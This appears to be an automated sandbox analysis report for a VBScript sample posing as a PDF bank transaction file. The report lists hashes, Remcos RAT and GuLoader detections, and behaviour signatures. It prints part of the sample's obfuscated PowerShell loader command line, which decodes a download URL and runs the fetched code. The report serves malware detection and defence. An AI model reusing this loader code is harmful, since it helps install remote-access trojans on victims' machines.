Edit tour
Windows
Analysis Report
pko_trans_details_20240909_105339#U00b7pdf.vbs
Overview
General Information
| Sample name: | pko_trans_details_20240909_105339#U00b7pdf.vbsrenamed because original name is a hash value |
| Original sample name: | pko_trans_details_20240909_105339pdf.vbs |
| Analysis ID: | 1507755 |
| MD5: | f47be72a96dd07190c9636231654dfe5 |
| SHA1: | b0f23fa8a4669111d04e442e81888330f76b5689 |
| SHA256: | 8317fc4b7eb8d40478a79de9fc539469ab5b2904822894ac6eee27f7cf9e6ce9 |
| Tags: | vbs |
| Infos: |   |
 | |
Detection
Remcos, GuLoader
| Score: | 100 |
| Range: | 0 - 100 |
| Whitelisted: | false |
| Confidence: | 100% |
Signatures
Detected Remcos RAT
Malicious sample detected (through community Yara rule)
VBScript performs obfuscated calls to suspicious functions
Yara detected GuLoader
Yara detected Powershell download and execute
Yara detected Remcos RAT
AI detected suspicious sample
Found suspicious powershell code related to unpacking or dynamic code loading
Obfuscated command line found
Sigma detected: Potential PowerShell Command Line Obfuscation
Sigma detected: WScript or CScript Dropper
Suspicious execution chain found
Suspicious powershell command line found
Switches to a custom stack to bypass stack traces
Very long command line found
Writes to foreign memory regions
Wscript starts Powershell (via cmd or directly)
Checks if the current process is being debugged
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Detected potential crypto function
Found WSH timer for Javascript or VBS script (likely evasive script)
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
JA3 SSL client fingerprint seen in connection with other malware
Java / VBScript file with very long strings (likely obfuscated code)
May sleep (evasive loops) to hinder dynamic analysis
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Queries the volume information (name, serial number etc) of a device
Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript
Suricata IDS alerts with low severity for network traffic
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match
Classification
- System is w10x64
wscript.exe (PID: 5660 cmdline: C:\Windows \System32\ WScript.ex e "C:\User s\user\Des ktop\pko_t rans_detai ls_2024090 9_105339#U 00b7pdf.vb s" MD5: A47CBE969EA935BDD3AB568BB126BC80) 
powershell.exe (PID: 5504 cmdline: "C:\Window s\System32 \WindowsPo werShell\v 1.0\powers hell.exe" "$Hjkommis rs='Rakker ens';$Trou blesome=${ host}.Runs pace;If ($ Troublesom e) {$Telep honing++;$ Hjkommisrs +='Cacodor ous';$Achy rodes='su' ;$Hjkommis rs+='Corus cate';$Ach yrodes+='b s';$Hjkomm isrs+='Tun gusian';$A chyrodes+= 'tri';$Hjk ommisrs+=' Sonatinen' ;$Achyrode s+='ng';}; Function H ammondorgl ets($Stavn en){$Vouch ering=$Sta vnen.Lengt h-$Telepho ning;For( $Svirreflu erne=5;$Sv irrefluern e -lt $Vou chering;$S virrefluer ne+=6){$Ul ceromembra nous+=$Sta vnen.$Achy rodes.'Inv oke'( $S virrefluer ne, $Telep honing);}$ Ulceromemb ranous;}fu nction Mar kedsadgang ($Diaboliz ing){ . ($Udgla tter174) ( $Diabolizi ng);}$Foot slogging=H ammondorgl ets 'Di,bo MI,trooKal orztausci ordtlHorme lProseaB,g ge/Feltr5 tim..Tegne 0 Dm.n Bag gr(GutwiWT mre iIul,s nschrod He toEt.niwO b.igsCensu MedbyN In ocTRdvin D erin1dorde 0Tuber.Ers ta0 Ch,f;P .arm Nondi WHarstiUns iznSpeed6T horv4Tamil ;M,gal Dec o,xGeebu6h eide4Misfo ; Subs pur trProfivCr ypt:Stork1 Evan2 Tre p1Tilba.Fo rt 0Bogde) Piast Bugt aGV skoe S katc Handk MartyoSkav g/ Zai 2.l via0Jazzh1 Hukom0Eksp o0 B ni1Ha sar0 Prie1 Cacoe oldn FBis.aiKo sirSkareeF jolrf Uds oF,ugtxreg io/ Doub1C upre2 Okku 1calip.ind bj0Ve de ' ;$Uncovere dly=Hammon dorglets ' DanneU man usRygerePu ff.r ,lag- .riguA Sc pg T,umeTa ramnProdit Mos k ';$R aasylte=Ha mmondorgle ts 'Psychh Jomont G.s mtImmovpCh ests Medd: Rub.i/Anti a/ Obstd S tjerSlanki Amylvf rm seAbbed..a mesgWis,ao PorphoDk,d rgSukatl P er eBorge. BrancFrek voP.nkum G imp/Progru UdvacKe s k?PetiteC irpxA elsp Audi,ofa,i gr Su gt g mnd=boched Gr peoDels aw FejlnAd vanl Xeroo Antema.nse ddBevge& n onliTabord Flubd= ior h1O chf2F. ndeyTs.tsW JustehEmbr yD elytkls erePForte2 StueA C,n f-And,rDIr r,t0Reinv- ,lmmeP Bel oYMist Y C allqC,clo5 FladtcHvin ty YatafVe ,ruhInf.ue Cirkuo C.g n3Li,deEO, lfopDeut,S .olmuePr.j e_Ph.ll9K. ukaKSankt ';$Ceratit idae=Hammo ndorglets 'B vog> St ag ';$Udgl atter174=H ammondorgl ets 'cedry iChaloeMid idx Rat, ' ;$Unshrink ingly='Ubi quities';$ Superfluit y = Hammon dorglets ' KneeleDor. oc D,odhLa nd,o Vat. Opti%Rigwi a BaadpDok ,op.hrondD rupea tetr tPennya fo rj% Agna\H jt aDDi,kk e,nsigpCo rarIbrugaC antovTnd.a eOverosAmi r.Unc mTM ,ndeeMisk, r svin Tog vo& Pseu&S etba Lnpos eIonizcFor edhTus.aoP ol s Macrt Aksem ';Ma rkedsadgan g (Hammond orglets 'S alts$ Forl gBeslalCom idoTwee.bA fr,kaForur lMealy: In .assa,rou DorsbFiksa tVix,nr A. vroIvi.dpS kumliVal.t s mmorkWyt eseLamessk afka=Snide (Gldelc,en nemUnderdN dlgn Ta,t/ Sa,myc Bug . Erys$Uds piSUnrepuA phrapConc. e Chamr He brftressl Bilyu Indk iH.mentBlg ety ndri)F undi ');Ma rkedsadgan